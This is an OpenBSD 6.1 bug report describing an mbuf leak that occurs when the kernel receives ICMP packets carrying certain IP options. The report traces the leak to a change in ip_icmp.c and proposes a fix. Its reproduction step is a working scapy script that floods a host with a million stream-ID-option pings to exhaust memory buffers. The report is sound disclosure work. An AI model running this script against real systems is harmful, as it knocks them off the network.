>Synopsis: OpenBSD 6.1: mbuf leak after receiving icmp/ip-Messages with
>IP-Options
>Category: system IP-Stack
>Environment:
System : OpenBSD 6.1
Details : OpenBSD 6.1 (GENERIC) #291: Sat Apr 1 13:49:08 MDT 2017
[email protected]:/usr/src/sys/arch/i386/compile/GENERIC
Architecture: OpenBSD.i386
Machine : i386
>Description:
When receiving icmp messages (e.g. ICMP ping) with specific IP-Options
set
in the IP-Header a mbuf is lost. It is requested from the mbuf pool but
never put
back to the pool mbufpl. So, if sending enough packets, the system will
run out of
mbufs not be able to communicate any longer.
This happens for example with the stream ID option.
Seems the problem was introduced in OpenBSD's 4.9 icmp_reflect ()
(File ip_icmp.c Rev. 1.92) by removing m_free(opts) and moving the mbuf
pointer
for the ip-options ("opts") one level up to icmp_input() without
freeing the mbuf
there after the call to icmp_send().
>How-To-Repeat:
Send a ICMP pings with the IP-Option Stream-ID option. This can easily
done using
the following scapy script:
#!/usr/bin/python
from scapy.all import *
destip = "192.168.10.61"
icmp_payload = 'X'*10
ip_options= IPOption('\x88\x04\x00\x10') # stream ID option
ip_packet = IP(dst=destip,
options=ip_options)/ICMP()/icmp_payload
i=1000000L
while i > 0:
send(ip_packet)
i=i-1
>Fix:
A possible fix maybe would calling m_free(opts) (if opts != NULL) after
calling icmp_send()
(not verified) or reverting the code to the ip_icmp revision before
1.92 (which would be
more compatible to FreeBSD, MacOS where this problem not happens -
maybe the original
reason for changing this doesn't exist any longer).
Best regards,
Hendrik